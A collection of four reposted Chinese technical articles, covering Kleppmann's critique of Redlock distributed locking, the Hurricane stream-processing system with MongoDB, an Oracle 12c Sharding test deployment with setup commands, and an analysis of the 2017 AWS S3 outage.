https://martin.kleppmann.com/2016/02/08/how-to-do-distributed-locking.html Martin在这篇文章中谈及了分布式系统的很多基础性的问题(特别是分布式计算的异步模型),对分布式系统的从业者来说非常值得一读。这篇文章大体可以分为两大部分: 前半部分,与Redlock无关。Martin指出,即使我们拥有一个完美实现的分布式锁(带自动过期功能),在没有共享资源参与进来提供某种fencing机制的前提下,我们仍然不可能获得足够的安全性。 后半部分,是对Redlock本身的批评。Martin指出,由于Redlock本质上是建立在一个同步模型之上,对系统的记时假设(timing assumption)有很强的要求,因此本身的安全性是不够的。 首先我们讨论一下前半部分的关键点。Martin给出了下面这样一份时序图: 在上面的时序图中,假设锁服务本身是没有问题的,它总是能保证任一时刻最多只有一个客户端获得锁。上图中出现的lease这个词可以暂且认为就等同于一个带有自动过期功能的锁。客户端1在获得锁之后发生了很长时间的GC pause,在此期间,它获得的锁过期了,而客户端2获得了锁。当客户端1从GC pause中恢复过来的时候,它不知道自己持有的锁已经过期了,它依然向共享资源(上图中是一个存储服务)发起了写数据请求,而这时锁实际上被客户端2持有,因此两个客户端的写请求就有可能冲突(锁的互斥作用失效了)。 初看上去,有人可能会说,既然客户端1从GC pause中恢复过来以后不知道自己持有的锁已经过期了,那么它可以在访问共享资源之前先判断一下锁是否过期。但仔细想想,这丝毫也没有帮助。因为GC pause可能发生在任意时刻,也许恰好在判断完之后。 也有人会说,如果客户端使用没有GC的语言来实现,是不是就没有这个问题呢?Martin指出,系统环境太复杂,仍然有很多原因导致进程的pause,比如虚存造成的缺页故障(page fault),再比如CPU资源的竞争。即使不考虑进程pause的情况,网络延迟也仍然会造成类似的结果。 总结起来就是说,即使锁服务本身是没有问题的,而仅仅是客户端有长时间的pause或网络延迟,仍然会造成两个客户端同时访问共享资源的冲突情况发生。而这种情况其实就是我们在前面已经提出来的“客户端长期阻塞导致锁过期”的那个疑问。 那怎么解决这个问题呢?Martin给出了一种方法,称为fencing token。fencing token是一个单调递增的数字,当客户端成功获取锁的时候它随同锁一起返回给客户端。而客户端访问共享资源的时候带着这个fencing token,这样提供共享资源的服务就能根据它进行检查,拒绝掉延迟到来的访问请求(避免了冲突)。如下图: 在上图中,客户端1先获取到的锁,因此有一个较小的fencing token,等于33,而客户端2后获取到的锁,有一个较大的fencing token,等于34。客户端1从GC pause中恢复过来之后,依然是向存储服务发送访问请求,但是带了fencing token = 33。存储服务发现它之前已经处理过34的请求,所以会拒绝掉这次33的请求。这样就避免了冲突。 现在我们再讨论一下Martin的文章的后半部分。 Martin在文中构造了一些事件序列,能够让Redlock失效(两个客户端同时持有锁)。为了说明Redlock对系统记时(timing)的过分依赖,他首先给出了下面的一个例子(还是假设有5个Redis节点A, B, C, D, E): 客户端1从Redis节点A, B, C成功获取了锁(多数节点)。由于网络问题,与D和E通信失败。 节点C上的时钟发生了向前跳跃,导致它上面维护的锁快速过期。 客户端2从Redis节点C, D, E成功获取了同一个资源的锁(多数节点)。 客户端1和客户端2现在都认为自己持有了锁。 上面这种情况之所以有可能发生,本质上是因为Redlock的安全性(safety property)对系统的时钟有比较强的依赖,一旦系统的时钟变得不准确,算法的安全性也就保证不了了。Martin在这里其实是要指出分布式算法研究中的一些基础性问题,或者说一些常识问题,即好的分布式算法应该基于异步模型(asynchronous model),算法的安全性不应该依赖于任何记时假设(timing assumption)。在异步模型中:进程可能pause任意长的时间,消息可能在网络中延迟任意长的时间,甚至丢失,系统时钟也可能以任意方式出错。一个好的分布式算法,这些因素不应该影响它的安全性(safety property),只可能影响到它的活性(liveness property),也就是说,即使在非常极端的情况下(比如系统时钟严重错误),算法顶多是不能在有限的时间内给出结果而已,而不应该给出错误的结果。这样的算法在现实中是存在的,像比较著名的Paxos,或Raft。但显然按这个标准的话,Redlock的安全性级别是达不到的。 随后,Martin觉得前面这个时钟跳跃的例子还不够,又给出了一个由客户端GC pause引发Redlock失效的例子。如下: 客户端1向Redis节点A, B, C, D, E发起锁请求。 各个Redis节点已经把请求结果返回给了客户端1,但客户端1在收到请求结果之前进入了长时间的GC pause。 在所有的Redis节点上,锁过期了。 客户端2在A, B, C, D, E上获取到了锁。 客户端1从GC pause从恢复,收到了前面第2步来自各个Redis节点的请求结果。客户端1认为自己成功获取到了锁。 客户端1和客户端2现在都认为自己持有了锁。 Martin给出的这个例子其实有点小问题。在Redlock算法中,客户端在完成向各个Redis节点的获取锁的请求之后,会计算这个过程消耗的时间,然后检查是不是超过了锁的有效时间(lock validity time)。也就是上面的例子中第5步,客户端1从GC pause中恢复过来以后,它会通过这个检查发现锁已经过期了,不会再认为自己成功获取到锁了。随后antirez在他的反驳文章中就指出来了这个问题,但Martin认为这个细节对Redlock整体的安全性没有本质的影响。 抛开这个细节,我们可以分析一下Martin举这个例子的意图在哪。初看起来,这个例子跟文章前半部分分析通用的分布式锁时给出的GC pause的时序图是基本一样的,只不过那里的GC pause发生在客户端1获得了锁之后,而这里的GC pause发生在客户端1获得锁之前。但两个例子的侧重点不太一样。Martin构造这里的这个例子,是为了强调在一个分布式的异步环境下,长时间的GC pause或消息延迟(上面这个例子中,把GC pause换成Redis节点和客户端1之间的消息延迟,逻辑不变),会让客户端获得一个已经过期的锁。从客户端1的角度看,Redlock的安全性被打破了,因为客户端1收到锁的时候,这个锁已经失效了,而Redlock同时还把这个锁分配给了客户端2。 换句话说,Redis服务器在把锁分发给客户端的途中,锁就过期了,但又没有有效的机制让客户端明确知道这个问题。而在之前的那个例子中,客户端1收到锁的时候锁还是有效的,锁服务本身的安全性可以认为没有被打破,后面虽然也出了问题,但问题是出在客户端1和共享资源服务器之间的交互上。 在Martin的这篇文章中,还有一个很有见地的观点,就是对锁的用途的区分。他把锁的用途分为两种: 为了效率(efficiency),协调各个客户端避免做重复的工作。即使锁偶尔失效了,只是可能把某些操作多做一遍而已,不会产生其它的不良后果。比如重复发送了一封同样的email。 为了正确性(correctness)。在任何情况下都不允许锁失效的情况发生,因为一旦发生,就可能意味着数据不一致(inconsistency),数据丢失,文件损坏,或者其它严重的问题。 最后,Martin得出了如下的结论: 如果是为了效率(efficiency)而使用分布式锁,允许锁的偶尔失效,那么使用单Redis节点的锁方案就足够了,简单而且效率高。Redlock则是个过重的实现(heavyweight)。 如果是为了正确性(correctness)在很严肃的场合使用分布式锁,那么不要使用Redlock。它不是建立在异步模型上的一个足够强的算法,它对于系统模型的假设中包含很多危险的成分(对于timing)。而且,它没有一个机制能够提供fencing token。那应该使用什么技术呢?Martin认为,应该考虑类似Zookeeper的方案,或者支持事务的数据库。 Martin对Redlock算法的形容是: neither fish nor fowl (非驴非马) 【其它疑问】 Martin提出的fencing token的方案,需要对提供共享资源的服务进行修改,这在现实中可行吗? 根据Martin的说法,看起来,如果资源服务器实现了fencing token,它在分布式锁失效的情况下也仍然能保持资源的互斥访问。这是不是意味着分布式锁根本没有存在的意义了? 资源服务器需要检查fencing token的大小,如果提供资源访问的服务也是包含多个节点的(分布式的),那么这里怎么检查才能保证fencing token在多个节点上是递增的呢? Martin对于fencing token的举例中,两个fencing token到达资源服务器的顺序颠倒了(小的fencing token后到了),这时资源服务器检查出了这一问题。如果客户端1和客户端2都发生了GC pause,两个fencing token都延迟了,它们几乎同时达到了资源服务器,但保持了顺序,那么资源服务器是不是就检查不出问题了?这时对于资源的访问是不是就发生冲突了? 分布式锁+fencing的方案是绝对正确的吗?能证明吗? 原文发布时间为:2017-03-10 本文来自云栖社区合作伙伴DBAplus
本文根据DBAplus社群第94期线上分享整理而成。 讲师介绍 卢誉声 Autodesk资深系统研发工程师 《分布式实时处理系统:原理、架构与实现》作者。 Hurricane实时处理系统主要贡献者。 多部C++领域译作。 分享大纲: 1. 海量数据处理的挑战 2. 基础处理架构选型 3. 分布式系统结构设计 4. 性能调优和数据存储(MongoDB) 一、海量数据处理的挑战 随着互联网与计算机的普及,我们可以通过传统途径或互联网收集到大量的数据,而在日常工作中对这么大量的数据处理需求也与日俱增。日常遇到的数据种类非常多,从结构化的表格数据、到半结构化非结构化的文本图像,我们需要掌握更多的技能与工具来学会如何处理这些数据。尤其在机器学习越来越热的今天,更加有必要学会这个技术。 近两年最火的恐怕就是深度学习,而深度学习又非常依赖数据量,很多时候不管网络再怎么精心设计,再怎么使用技巧,也不如数据量来得实在。比如在我们这里,就经常需要为此处理大量的文本和图像数据。但在这个过程中,我们发现总是在做很多重复的工作。 总结一下,日常的工作模式抽象出来基本就是这么几件事: 将需要处理的数据输出到一个列表文件(或者存到数据库里),每一项就是一个任务。 处理程序中开启多个Worker线程,并为每个线程分配任务,线程执行自己的任务,并将结果输出出来。 处理程序还需要记录处理了哪些数据,哪些是成功的,哪些是异常的。 需要将这么多个处理程序连接在一起完成数据处理任务。 二、基础处理架构选型 日常工作模式: 为需要处理的数据建立列表 启动程序,开启多个Worker线程处理列表中的数据 将处理完的项目输出到另一个列表中 启动下一个程序,继续开启多个Worker线程处理列表中的数据 …… 可以发现,这个需求其实就是一个简单的生产者-消费者模式。我们其实是在建立一个任务队列,然后让Worker来取任务并执行任务。为了简化这项工作,我自己写了一个简单的消息队列以及生产者消费者的抽象,让程序专注于数据处理的逻辑。 用户只需要建立一个MessageQueue(消息队列),一个Feeder(消息源),一个Consumer(消息处理单元),并且实现Feeder和Consumer的具体逻辑(可以使用函数对象或者lambda表达式)。这样就可以简化日常的任务,但是经过长时间的工作后,发现这样还是远远不够,还需要经常处理以下问题: 如何分配任务? 任务失败了怎么办? 如何保存任务状态? 如何分布式计算? 我们来分别看一看: 1、如何分配任务?一开始我们采取的是按序号分配任务,每个任务执行连续一批任务。后来发现这样会遇到很多问题,不如使用生产者消费者模式让Worker自己领取任务。但由于缺乏统一的调度者,因此无法确保整体具有最高的计算效率。 2、如何处理任务失败?我们一开始的方法是将成功任务和失败任务分别放到两个独立列表里,每次一个任务结束后都要重新处理失败的任务,有非常多手动工作。 3、如何保存任务状态?程序常常会因为各种原因在一半中断(未完全测试的程序可能会内存泄漏、内存越界,即使程序没有问题,也可能发生进程误杀甚至是断电等狗血的事情),因此我们需要保存任务状态,下次启动程序的时候可以自动跳过已经成功处理过的任务。 4、如何分布式计算?当数据过多时,需要手动分割数据放在几个机器上执行,部署和手动管理成本很高。 后来我们发现Apache Storm的数据处理方式很适合解决这些问题。但是非常可惜,一方面出于性能考虑,另一方面为了更加容易地调用本地C++程序,这种基于Java的方式并不是那么方便,每次还需要编写JNI来接入我们的C++代码。 于是,我们需要自己建立一套系统来解决这个问题。这套系统中包含这些东西: 使用NodeJS编写的网络爬虫,因为NodeJS单线程异步非阻塞,简化了高性能爬虫的编写工作。 使用MongoDB存储数据,因为MongoDB是文档型数据库,而且可以无模式,处理图像和网页数据的时候非常方便。 使用Caffe来进行训练和数据处理,由于我们的机器并不是特别多,这种情况下Caffe可以提供比Tensorflow更好的性能。 Hurricane实时处理系统( http://github.com/samblg/hurricane或http://hurricane-project.net),是Storm的计算模型在C++11中的实现,不过做了部分简化和调整,以适应我们自己的工作。 三、分布式系统结构设计 这里面的关键就是Hurricane这个系统: 这张图就是Hurricane的计算模型,Hurricane实时处理系统是一个基于流的分布式实时处理平台,其计算模型是Topology。每个Topology都是一个网络,该网络由计算任务和任务之间的数据流组成。 该模型中Spout负责产生新的元组,Bolt负责处理前一级任务传递的元组,并将处理过的元组发送给下一级。Spout是元组的生成器,而Bolt则是元组的处理单元。每个任务都会将数据封装为元组传递给其他的任务。 在系统中任务被定义为Task。Task是对计算任务的统一抽象,规定了计算任务的统一接口。Spout和Bolt都是Task的特殊实现。为了处理这种分布式的计算模型,我们设计了自己的分布式系统架构,如下图所示: 最上方的是President,这是整个集群的管理者,负责存储集群的所有元数据,所有Manager都需要与之通信并受其控制。下方的是多个Manager,每个Manager中会包含多个Executor,每个Executor会执行一个任务,可能为Spout和Bolt。 从任务的抽象角度来讲,每个Executor之间都会相互传递数据,只不过都需要通过Manager完成数据的传递,Manager会帮助Executor将数据以元组的形式传递给其他的Executor。 Manager之间可以自己传递数据(如果分组策略是确定的),有些情况下还需要通过President来得知自己应该将数据发送到哪个节点中。 在这个基础架构与计算模型之上,我们还设计了一套上层接口Squared: 左侧是Hurricane基本的计算模型,在该计算模型中,系统是一个计算任务组成的网络。我们需要考虑每个节点的琐屑实现。但如果在日常任务中,使用这种模型相对来说会显得比较复杂,尤其当网络非常复杂的时候。 为了解决这个问题,看一下右边这个计算模型,这是对我们完成计算任务的再次抽象。 第一步是产生语句的数据源。然后每条语句需要使用名为SplitSentence的函数处理将句子划分为单词。接下来根据单词分组,使用CountWord这个统计操作完成单词的计数。 所以这个接口的本质是将网络映射成了简单的数据操作流程。解决问题和讨论问题都会变得更为简单直观,现在我们来看看Hurricane的实际应用。 四、性能调优和数据存储 这是一个数据的预处理任务,我们需要从网络上搜索一堆图片,然后对图片做初步处理(部分检测任务),处理完成后将数据保存在数据库中,作为日后的训练数据使用。 使用Hurricane后这一切都变得非常简单。我们使用一个Spout读取数据库中的任务,每一个任务是一个词条,第一任务需要使用搜索引擎检索这些词条对应的图像URL。 这个爬取工作会通过简单的消息队列传给NodeJS,由NodeJS爬取并解析完网页,抽取URL将结果返回给Spout。然后将图像URL保存到数据库中,并传递给下一个任务。 下一个任务会调度NodeJS将一批图像都爬取并保存下来,这里大家也可以自己使用C++编写获取数据与解析数据的程序,只不过使用JS爬取数据和解析网页比较方便,因此我们把这个任务交给JS完成了。 完成任务后将图像数据传递给检测器A,检测器A完成检测后将结果和图像送给检测器B,检测器B完成最后检测任务并将数据保存在数据中。最后处理完成的数据和图像经过人工整理后将会作为日后训练数据和测试数据的来源。 最后就是系统的优化问题了。 这里很多是实际工程问题,比如在存储大量数据时,由于MongoDB自身支持分布式存储,所以处理起来非常方便。我们只需要设定副本集,然后指定分片的字段就可以建立一个分布式集群,这里比较讲究的就是要根据实际情况选择分片字段。 和传统开源的MySQL方案相比还是比较简单的,唯一不足就是MongoDB出现过宕机无法恢复的情况,所以日常额外的数据备份工作一定要进行。MongoDB不但自身支持分布式(副本和自动分片),而且还是本人使用过的检索功能最强大的NoSQL数据库之一,日常的许多业务任务都可以使用MongoDB处理。 日常使用NodeJS配合MongoDB可以快速构建足够健壮的脚本与小型服务,MongoDB也支持对单个文档的原子查找更新,合理设计后可以解决很多问题。 比如充当简单的任务队列,同时MongoDB中也可以建立全文索引,虽然没有ElasticSearch那么强大,但是已经可以满足简单的需求。最大的优点体现在处理半结构化数据、或者数据模型不确定的时候,比起需要反复修改表结构的关系型数据库来说,MongoDB实在是方便。 当然MongoDB也存在很多问题:(抛砖引玉,个人感受,如有不当,望大家指正) 统计功能不够强大,虽然有aggregate等功能,但比起关系型数据库来说确实羸弱。 无法实现连表查询,所以在设计数据模型时会和关系型数据库方式不同,也无法完全替代关系型数据库。 不支持事务,虽然MongoDB支持单文档的原子操作,但是无法支持包含多个操作的事务,必须要自己处理这些问题,因此很多有事务要求的系统来说不一定适用。 当然这些只是我在日常处理管理数据中的感受,也恰恰可以适应我们的工作。因为现在数据形式多种多样,需求也多种多样。只不过在我们日常的数据处理过程中,Hurricane配合MongoDB等工具可以更好地流式处理半结构化与非结构化数据。 最后,一些其他特性: 保序 1)根据顺序处理数据 2)使用Orderld和队列实现保序 多语言支持 1)C 2)Java 3)Python 4)JavaScript Q&A Q1:Hurricane系统开源吗? A1:hurricane real-time processing在Apache协议下开源,可以访问 http://github.com/samblg/hurricane。欢迎想了解更多内容和感兴趣的同学参与进来。 Q2:刚刚大神提到的mongo统计功能的aggregate,我们目前就遇到这问题,数据量并不大,十万左右的数据吧,现在一个统计查询要一秒多这个时间挺吓人的,有没有优化的办法? A2:aggregate并不是mongo的强项。在编写aggregate语句的时候有许多要注意的,比如对设计到的字段尽可能建立索引,$match或者$sort之类的操作尽量放在整个操作流水线的前面。提前用$match过滤数据,减少后面数据的计算量,排序操作尽量在使用索引的字段上进行等等,如果MongoDB本身优化问题无法解决,那就只能将计算压力放在应用服务器上。尽量少地将数据分片取出到不同的应用服务器上,通过Hurricane这种实时分布式处理系统来完成统计工作,就能很好的解决这类问题---> Hurricane实时处理系统完全开源,不依赖任何第三方库,易于维护和2次开发,相较其他系统,Hurricane 十分轻量级,可维护性高。 原文发布时间为:2017-03-07 本文来自云栖社区合作伙伴DBAplus
2017年3月,我们终于迎来了Oracle 12cR2,作为国内首批Beta测试用户,我们在2016年1月应邀进行Oracle 12c Sharding 技术测试,并于去年10月完成了12cR2 Sharding 预研报告。由于受Oracle新技术发布限制,直至今日才发布与各位分享。 一、Oracle 12c Sharding简介 在Oracle 12cR2之前的版本中, Oracle分区表的所有分区都是在一套数据库中,而Sharding技术,则是使用新的分片技术可以将不同的分区部署到不同的数据库(后面称之为分片节点),而这些数据库都是相互独立且没有地理位置的限制。Oracle宣称这种分片架构具有以下特性: 支持数据水平分片,支持数据海量扩展 支持按地理分布、内网部署、公有云或混合云部署方案 支持全面故障隔离 每个分片节点具有独立的硬件资源(CPU、内存、硬盘等) 支持弹性扩展和自动重分布(Auto Rebalancing) 自动部署(Auto deployment) 二、Oracle 12c Sharding体系结构 Oracle sharding技术下的sdb架构(shared database architecture),包括:shard Directors(分片路由器GSM)、shard catalog(分片目录库)、shardgroup(分片组)。 1. shard catalog目录库主要作用 存储sdb的元数据 协调数据库 分片表的元数据定义和复制表存储 2. Shard director分片导向器主要作用 提供从应用层到分片连接请求的路由导向 跨数据库服务故障切换和管理 连接时负载均衡 3. Oracle Routing(两种模式) session-based Routing 所有的事务都只连接到一个单一的shard进行操作。 Cross-shard 模式 适用于报表类的查询 事务需要跨多个shard执行操作 4. Sdb模式下oracle的连接请求方式分为两种 ucp:带shard key的连接请求,sdb数据库是依据shard key来划分shard的,当我们使用shard key进行操作的时候,连接池会将该链接请求发送到正确的shard库中并建立链接。 如果没有sharding key,sdb会将连接请求交给catalog库,它会将目标sql解析并路由请求到正确的shard库。 三、Oracle 12c Sharding测试环境搭建部署步骤 环境准备:测试环境使用三台虚拟机进行测试,分别为:shard0(GSM和shardcate),shard1(sh1),shard2(sh2)。 软件要求:12.2.0.0.3及以上版本。 1. GSM软件部署 第一步修改环境变量如下: [oracle@shard0 ~]$ env |grep ORA ORACLE_BASE=/u01/app/oracle ORACLE_HOME=/u01/app/oracle/product/12.2.0/gsmhome_1 第二步解压缩GSM.zip包并且执行runInstaller脚本(这里使用了图形化界面) 直接点下一步(检查操作系统是否符合安装条件): 点next下一步: 点击install,这样GSM包就安装完成了。 后续的数据库软件安装就不展开介绍了,选择NO-CDB选项即可。其他均与之前版本没有任何区别。 2. shardcate库上用户及相关权限操作 ssh shard0 su – oracle sqlplus / as sysdba alter user gsmcatuser account unlock; --解锁gsm用户 alter user gsmcatuser identified by passwd_gsmcatuser; --修改gsm用户密码 create user mygdsadmin identified by passwd_mygdsadmin; --创建管理用户mygdsadmin grant connect, create session to mygdsadmin;--赋权限给mygdsadmin grant gsmadmin_role to mygdsadmin;--把gsm管理员角色赋予mygdsadmin grant inherit privileges on user SYS to GSMADMIN_INTERNAL; 3. shardcate上配置remote scheduler ssh shard0 su - oralce sqlplus / as sysdba set echo on set termout on set time on spool /u01/stage/labs/config_remote_scheduler.lst --设置配置输出的日志 execute dbms_xdb.sethttpport(8080);--指定scheduler所使用的端口号 Commit; @?/rdbms/admin/prvtrsch.plb exec DBMS_SCHEDULER.SET_AGENT_REGISTRATION_PASS('welcome'); --设置远程shard节点注册到shardcate库所需的密码 spool off 4. 分片库信息注册 ssh shard1 su – oracle schagent –stop --停止shard库上的守护进程 schagent –start --停止shard库上的守护进程 schagent –status –查看shard库上的守护进程的状态 echo welcome |schagent -registerdatabase shard0 8080 –注册到远程shardcate库分别是密码、主机名、端口号 cd /data/oracle mkdir oradata –创建shard库的数据文件存放位置 mkdir fast_recovery_area --创建shard库的快速恢复区的位置 ssh shard2 su – oracle schagent -stop schagent -start schagent -status echo welcome |schagent -registerdatabase shard0 8080 cd /data/oracle mkdir oradata mkdir fast_recovery_area 5. 配置GSM ssh shard0 su – oracle --oracle用户 gdsctl --进入gsm交互界面 create shardcatalog -database shard0:1521:orcl -chunks 12 -user mygdsadmin/passwd_mygdsadmin -sdb cust_sdb -region region1 --创建shardcatalog库 –database ip(主机名):监听端口号:实例名 –chunks chunk的数量 -user 用户/密码 –sdb sdb名 –region 主端,备端 add gsm -gsm sharddirector1 -listener 1571 -pwd passwd_gsmcatuser -catalog shard0:1521:orcl –region -trace_level 16 --添加gsm –gsm gsm名 –listener 监听端口号 –pwd gsmcatuser用户密码 –catalog catalog库基本信息 ip(主机名):监听端口号:实例名 –region 指定是哪个region –trace_level 指定trace的级别位置LOG_DESTINATION参数控制 start gsm -gsm sharddirector1 –启动gsm set _event 17 modify catalog -agent_password welcome –修改 catalog库守护进程密码为welcome add credential -credential oracle_cred -osaccount oracle -ospassword oracle -- specify the operating system user that the extproc agent impersonates when running a subprogram stored in the library ssh shard0 su – oracle gdsctl –进入gsm命令交互模式 set gsm -gsm sharddirector1 –设置当前分片目录为sharddirector1 connect mygdsadmin/passwd_mygdsadmin –建立连接 add shardgroup -shardgroup shgrp1 -deploy_as primary -region region1 –添加主分片组 add invitednode shard1 create shard -shardgroup shgrp1 -destination shard1 -credential oracle_cred –-不同的shard库添加到不同的分片组里 add invitednode shard2 create shard -shardgroup shgrp2 -destination shard2 -credential oracle_cred –-不同的shard库添加到不同的分片组里 deploy 一键部署。 此时一套测试的sdb搭建成功,由于环境有限这里没有做容灾,Oracle提供了OGG和ADG两种方式对shard节点做容灾并且也支持一键部署。 四、Sharding适用场景限制 根据Oracle官方对sharding的应用场景介绍描述,Oracle分片技术主要适用以下场景: 面向 OLTP 应用场景 为了优化性能应用程序应该使用分片键 业务场景中 80% 的事务都基于单个分片操作 跨分片操作目前版本支持并不完善 对于已知的分片技术使用场景限制,结合浙江移动的业务特点,最后选择客户中心做为本次的测试模型,由于存储资源有限我们选择了数据量相对较小的湖州地市作为测试地市。 五、Sharding测试模型和测试结果 客户中心业务简介: 1. 客户中心储存的数据来源于原CRM系统中的三户信息和用户订购信息,承载的是客户管理业务; 2. 三户信息的核心是用户信息表,其中用户信息表的业务入口是bbb_id,在获取bbb_id和uuu_id的对应关系后,后续都是以uuu_id为主,查询到相应的uuu_id对应的ccc_id/aaa_id的信息,再根据ccc_id和aaa_id的值去查询对应的客户和帐户信息,而用户的订购信息都是根据uuu_id来查询的; 3. 对所有前台或用户发起的针对单用户的业务中,基本能保证这些业务都是在同一个分片内操作; 4. 用户信息会随着系统承载的用户量的增加有所增长,但这种增长的速度不是海量的扩展速度。 测试结果:所有的业务操作大致可以分为以下这三类: 单分片查询 duplicate表查询 跨分片查询 针对基于单分片的分片表查询,相比于传统的数据库查询速度提升不明显,因为uuu_id列本身加了索引查询速度已经够快了。但是当时数据库的压力提升以后,多个分片节点的sdb带来的优势预计会有一定的体现,因为所有的数据库操作被均匀地负载到多台物理主机上面,由于硬件限制我们没有做性能测试,对于duplicate表的查询本身设计就是从catalog库上通过物化视图到各个shard库里,所以对查询的速度提升没有实质的提升作用。 最后的跨分片查询我们在测试过程中发现Oracle不支持where条件用in或者or,我们大部分的应用都会用到这种条件的查询,所以跨分片的查询目前版本支持并不完善。 六、Sharding测试过程中的问题解决 1. 环境部署 软件的版本需要12.2.0.0.3及以上的版本 在配置GSM的时候报错信息不会很直观的展示出来,这对于安装部署有很大阻碍。 2. 数据导入 Duplicate表的数据导入是从catalog库导入,分片表的导入可以从各个shard库导入进去(由于环境有限暂时12.2.0.0.3从catalog库导入还未来得及测试)。 12.2.0.0.3版本以前分片表直接从catalog库导入会报ora-600错误,而且这些错误也没有相应的psu修复。 通过dblink用create table as select的方式创建会报不支持的操作类型的错误。 3. 业务测试 跨分片查询在 12.2.0.0.3版本支持并不完善,例如用in或者or 的查询Oracle会直接报错。我们已将改进建议提给Oracle,可能会在正式发布版本中得到解决。 所有的连接都经过catalog库,当连接请求并发上去后catalog将成为瓶颈,需创建多个catalog库分担压力。 同一schema下的各个分片表必须要有主外键关系。 原文发布时间为:2017-03-06 本文来自云栖社区合作伙伴DBAplus
继Gitlab的误删除数据事件没几天,“不沉航母” AWS S3(Simple Storage Service)几天前也“沉”了4个小时,墙外的半个互联网也跟着挂了。如约,按AWS惯例,AWS给出了一个简单的故障报告《Summary of the Amazon S3 Service Disruption in the Northern Virginia (US-EAST-1) Region》。这个故障简单来说和Gitlab一样,也是人员误操作。先简单说一下这份报中说了什么。 故障原因 简单来说,这天,有一个AWS工程师在调查Northern Virginia (US-EAST-1) Region上S3的一个和账务系统相关的问题,这个问题是S3的账务系统变慢了(我估计这个故障在Amazon里可能是Sev2级,Sev2级的故障在Amazon算是比较大的故障,需要很快解决),Oncall的开发工程师(注:Amazon的运维都是由开发工程师来干的,所以Amazon内部嬉称SDE-Software Developer Engineer为Someone Do Everything)想移除一个账务系统里的一个子系统下的一些少量的服务器(估计这些服务器上有问题,所以想移掉后重新部署),结果呢,有一条命令搞错了,导致了移除了大量的S3的控制系统。包括两个很重要的子系统: 一个是S3的对象索引服务(Index),其中存储了S3对象的metadata和位置信息。这个服务也提供了所有的GET,LIST,PUT和DELETE请求。 一个是S3的位置服务系统(Placement),这个服务提供对象的存储位置和索引服务的系统。这个系统主要是用于处理PUT新对象请求。 这就是为什么S3不可访问的原因。 在后面,AWS也说明了一下故障恢复的过程,其中重点提到了这点—— 虽然整个S3的是做过充分的故障设计的(注:AWS的七大Design Principle之一Design for Failure)—— 就算是最核心的组件或服务出问题了,系统也能恢复。但是,可能是在过去的日子里S3太稳定了,所以,AWS在很长很长一段时间内都没有重启过S3的核心服务,而过去这几年,S3的数据对象存储级数级的成长(S3存了什么样数量级的对象,因为在Amazon工作过,所以大概知道是个什么数量级,这里不能说,不过,老实说,很惊人的),所以,这两个核心服务在启动时要重建并校验对象索引元数据的完整性,这个过程没想到花了这么长的时候。而Placement服务系统依赖于Index服务,所以花了更长的时间。 了解过系统底层的技术人员应该都知道这两个服务有多重要,简而言之,这两个系统就像是Unix/Linux文件系统中的inode,或是像HDFS里的node name,如果这些元数据丢失,那么,用户的所有数据基本上来说就等于全丢了。 而要恢复索引系统,就像你的操作系统从异常关机后启动,文件系统要做系统自检那样,硬盘越大,文件越多,这个过程就越慢。 另外,这次,AWS没有使用像以前那样Outage的故障名称,用的是“Increased Error Rate”这样的东西。我估计是没有把所有这两个服务删除完,有些用户是可以用的,有的用户则不行了。 后续改进 在这篇故障简报中,AWS也提到了下面的这些改进措施—— 1)改进运维操作工具。对于此次故障的运维工具,有下面改进: 让删除服务这个操作变慢一些(笔者注:这样错了也可以有时间反悔,相对于一个大规模的分布式系统,这招还是很不错的,至少在系统报警时也可以挽救); 加上一个最小资源数限制的SafeGuard(笔者注:就是说,任何服务在运行时都应该有一个最小资源数,分布式集群控制系统会强行维护服务正常运行的最小的一个资源数); 举一反三,Review所有和其它的运维工具,保证他们也相关的检查。 2)改进恢复过程。对于恢复时间过长的问题,有如下改进: 分解现有厚重的重要服务成更小的单元(在AWS,Service是大服务,小服务被称之为Cell),AWS会把这几个重要的服务重构成 Cell服务。(笔者注:这应该就是所谓的“微服务”了吧)。这样,服务粒度变小,重启也会快一些,而且还可以减少故障面(原文:blast radius – 爆炸半径); 今年内完成对Index索引服务的分区计划。 相关思考 下面是我对这一故障的相关思考—— 0)太喜欢像Gitlab和AWS这样的故障公开了,哪怕是一个自己人为的低级错误。不掩盖,不文过饰非,透明且诚恳。Cool! 1)这次事件,还好没有丢失这么重要的数据,不然的话,将是灾难性的。 2)另外,面对在US-EASE-1这个老牌Region上的海量的对象,而且能在几个小时内恢复,很不容易了。 3)这个事件,再次印证了我在《关于高可用的系统》中提到的观点:一个系统的高可用的因素很多,不仅仅只是系统架构,更重要的是——高可用运维。 4)对于高可用的运维,平时的故障演习是很重要的。AWS平时应该没有相应的故障演习,所以导致要么长期不出故障,一出就出个大的让你措手不及。这点,Facebook就好一些,他们每个季度扔个骰子,随机关掉一个IDC一天。Netflix也有相关的Chaos Monkey,我以前在的路透每年也会做一次大规模的故障演练——灾难演习。 5)AWS对于后续的改进可以看出他的技术范儿。可以看到其改进方案是用技术让自己的系统更为的高可用。然后,对比国内的公司对于这样的故障,基本上会是下面这样的画风: 加上更多更为严格的变更和审批流程; 使用限制更多的权限系统和审批系统; 使用更多的人来干活(一个人干事,另一个人在旁边看); 使用更为厚重的测试和发布过程; 惩罚故障人,用价值观教育工程师。 这还是我老生长谈的那句话——如果你是一个技术公司,你就会更多的相信技术而不是管理。相信技术会用技术来解决问题,相信管理,那就只会有制度、流程和价值观来解决问题(注意:这里我并没有隔离技术和管理,只是更为倾向于用技术解决问题)。 最后,你是要建一个“高可用的技术系统”,还是一个“高可用的管理系统”?欢迎留言和我们一起探讨。 原文发布时间为:2017-03-05 本文来自云栖社区合作伙伴DBAplus
